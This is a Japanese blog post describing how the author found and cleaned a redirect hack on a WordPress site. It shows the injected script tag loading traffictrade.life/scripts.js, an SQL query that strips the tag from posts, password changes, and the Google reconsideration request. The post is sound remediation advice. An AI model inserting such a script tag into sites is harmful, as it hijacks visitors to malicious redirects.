WordPressのハッキングの復旧と対策|変なリダイレクトが多発

WordPress

WordPressで管理しているサイトにアクセスすると、変なサイトにリダイレクトされてしまうという事象が発生しました。ハッキングされたということです。復旧方法がわかったのでご紹介しますね。

  1. ハッキングを発見した経緯
    1. 自分のサイトにアクセスすると変なURLにリダイレクトされる
    2. Google Search Consoleから通知メールを受け取る
  2. 復旧方法
    1. Exploit Scannerで原因を突き止める
    2. SQLを実行して復旧
  3. 再発防止策
  4. 再審査リクエスト
  5. さいごに

ハッキングを発見した経緯

自分のサイトにアクセスすると変なURLにリダイレクトされる

サイトにアクセスすると、一瞬自分のサイトが表示されるのですが、数秒で自動的にリダイレクトされます。

そして、全く知らないURLにアクセスし、高速でリダイレクトを繰り返し、いろんなURLにアクセスし始めます。

数秒後にようやく一つのURLに落ち着きます。その時、表示されているサイトはMackeeperというMac用のウィルス対策ソフトのページでした。

Macのパソコンからアクセスしていましたが、Windowsのパソコンでアクセスしても発生します。

ただ、最後に表示されるページはMacKeeperではなく、Windows用のソフトのページでした。

もちろんスマホからアクセスした場合も発生します。

この事象はアクセスしたら必ず発生するわけではなく、3アクセスに1回くらい発生する感じでした。

なので、あまり自分のサイトにアクセスしない人は気づくのに遅れる可能性があります。

Google Search Consoleから通知メールを受け取る

しばらく対処法がわからなかったので、放置しているとGoogle Search Consoleからメールが届きました。

件名:
ハッキングされたコンテンツが http://yourdomain.com/ で検出されました

本文:
貴サイトが第三者によりハッキングされ、一部のページで不正なコンテンツが作成されたことが検出されました。この重大な問題では、貴サイトの評判を利用して、ユーザーを貴サイトから予期しないコンテンツ、または有害なコンテンツにリダイレクトしています。また、この問題により Google 検索ユーザーの検索結果の品質も低下します。そのため Google では、手動による対策を貴サイトに適用いたしました。この対策では、貴サイトが検索結果に表示されると、ハッキングされたコンテンツに関する警告をユーザーに表示します。この手動によるスパム対策は yourdomain.com/ に適用されています。この警告を削除するには、ハッキングされたコンテンツを修正し、再審査リクエストを申請してください。ハッキングされたコンテンツが貴サイトに含まれていないことを確認できた場合は、この手動による対策を解除させていただきます。

という内容のメールです。

本文はこのあとに対処法と、直したあとの申請方法が書いてあります。

ようするに、スパム対策をされてしまったということです。

なので、検索結果にも影響されてしまいます。

試しにGoogleの検索結果にどう表示されているかを見てみました。

Wordpressのハッキングの復旧方法|変なサイトにリダイレクトされる

このように、

このサイトは第三者によってハッキングされている可能性があります。

と表示されてしまいます。

これではユーザーさんからしてみれば怪しすぎてクリックする気なくなりますよね。

ちなみに、Yahooの検索結果にも同様の表示がされてしまいます。

検索結果をクリックするとGoogleの場合はすぐに私のサイトにアクセスしますが、Yahooの場合は、クリックすると私のサイトを表示する前に、ご丁寧にも警告の画面を表示して確認します。

こんな状態だとおそらく検索結果での順位も落ちてきてしまうので、早急に復旧したほうがいいですね。

復旧方法

Exploit Scannerで原因を突き止める

ハッキングの原因を調べてくれるプラグイン、Exploit Scannerをインストールします。

これを実行します。

Wordpressのハッキングの復旧方法|変なサイトにリダイレクトされる

怪しい部分がたくさん検出されたのですが、元エンジニアの直感でもっとも怪しいなと感じたのが以下の部分です。

Wordpressのハッキングの復旧方法|変なサイトにリダイレクトされる

なかなか見つからない人は、ブラウザの検索機能で「script」と検索してみるとすぐに確認できます。

記事の中から知らないドメインのJavaScriptのコードを読み込んでいるんですよね。

1
https://traffictrade.life/scripts.js

こんなの書いた記憶ないので、間違いなく外部の人がハッキングして挿入したものです。

おそらくハッカーの動機は広告収入です。

リダイレクトを利用し、たくさんのアフィリエイトリンクをユーザーに踏ませていると思われます。

また、「なんで私のサイトだけ狙われたの?」と疑問に思うかもしれませんが、別にあなたのサイトをピンポイントで狙っているわけではなく、ネット上にある数百万ものサイトに大量にアクセスして、ハックできそうなサイトをハックしているということだと思います。

SQLを実行して復旧

かなりの多くの記事にさきほどのスクリプトが挿入されていたので、ひとつひとつ手で削除していくのは現実的ではありません。

なので、データベースからSQLを実行し一括で修正しましょう。以下のページ(英語)を参考にしました。

traffictrade.life/scripts.js - Help - how to get it out?

MySQLの場合は、phpMyAdminを開き、SQLを実行できる画面を開きます。

「SQL」や「クエリ」などのタブをみれば、SQLを実行できる下のようなフォームがあるはずです。

Wordpressのハッキングの復旧方法|変なサイトにリダイレクトされる

ここに以下のSQLを入力します。

1
UPDATE wp_posts SET post_content = REPLACE(post_content, '<script src=\'https://traffictrade.life/scripts.js\' type=\'text/javascript\'></script>', '') WHERE INSTR(post_content, '<script src=\'https://traffictrade.life/scripts.js\' type=\'text/javascript\'></script>') > 0;

ただ、注意点としては、wp_postsという部分です。

これは記事の情報が入ったテーブルなのですが、環境によってはテーブル名が違う可能性があります。

私のサイトの場合は、wpe8b126postsというテーブル名になっていました。

なので、テーブル一覧で一度確認して、違う場合はそこだけ変えてください。

そして、「クエリを実行する」をクリックします。

すると、先ほどの怪しいスクリプトを読み込む部分はなくなり、変なリダイレクトは発生しなくなるはずです。

再発防止策

Googleさんに「直しました!」と審査申請をする前にやるべきことがあります。

おそらく、ハッキングを防止しないと、再度同じようなスクリプトを挿入されてしまう可能性があります。

実際私のサイトはそうでした。1週間後くらいにまた同じようなリダイレクトが発生し、Exploit Scannerで調べるとまた同じスクリプトが挿入されていました。

なので、ハッキングをされないための対策をしましょう。

完璧な対策などはないですが、少なくとも次の4つのパスワードは変更しましょう。

WordPressの管理画面のパスワード

利用しているユーザー全てのパスワードを変えましょう。私の場合は、辞書に出ているような単語を使っていたので、意識してランダムな文字列になるようにしました。

辞書に載っているような単語は、ハッカーにとってみれば簡単に割り出すことができます。

全単語分トライすればいいだけですので。

サーバーにSSHログインする時のパスワード

WordPressではなくサーバーにログインしてくる可能性も否定できないので、変えておきましょう。

お使いのホスティングサービスの管理画面から帰る必要があるかもしれません。

サーバーにFTPログインする時のパスワード

同様の理由で、FTPログインする際のパスワードも変更しましょう。

データベースにログインするためのパスワード

データベースに直接アクセスしてくる可能性もあるので、変更しておきましょう。

ただ、データベースのパスワードを変えると、WordPress側の設定ファイル、wp-config.phpの中の値も変更しないとサイトが表示されなくなってしまうのでご注意ください。

再審査リクエスト

復旧できたら、早く手動によるスパム対策を解除してもらい、検索結果に表示される「このサイトは第三者によって〜」という警告文もなくしてほしいので、早めに再審査リクエストを出したいところです。

でも、本当になおったかわからないため、しばらく様子をみてからリクエストしたほうがいいと思います。

リクエストした翌日にまた同じ事象が発生したらかっこ悪いですし、Googleさんの手間も無駄に増えちゃいますからね。(再審査は人間が行っていると思われます)

なので、私の場合は1週間くらい様子をみてからリクエストを出しました。

再審査リクエストをするページは、最初にGoogleからもらったメールの下のほうにリンクがあります。

それをクリックするとSearch Consoleのページが開くので、下のボタンを押します。

Wordpressのハッキングの復旧方法|変なサイトにリダイレクトされる

すると文章を入力できるフォームが開くので、依頼する文章を入力して送信すれば申請完了です。

依頼文は自分は下のようにしました。

ハッキングの原因となっていたスクリプトを削除し、スパム的な挙動はなくなりました。再発防止のため、全てのパスワードを変更しました。再審査をお願いします。

審査に通れば、しばらくすると手動による対策は解除されるはずです。

私の場合は、丸一日で以下のメールが来ました。

件名:
http://yourdomain.com/ の再審査リクエストが承認されました

本文:
http://yourdomain.com/ のウェブマスター様

お送りいただいた再審査リクエストを承認し、貴サイトに対する手動による対策を解除しました。ただし、今回の手動による対策の解除はサイトの掲載順位が上昇することを保証するものではありませんのでご了承ください

そして、検索結果を確認すると、

このサイトは第三者によってハッキングされている可能性があります。

という文字列は表示されなくなっていました。

さいごに

復旧できましたでしょうか?

ハッキングの種類はこれ以外にもたくさんあるので、もしかしたら違うものの可能性もありますが、もし解決できたのなら幸いです。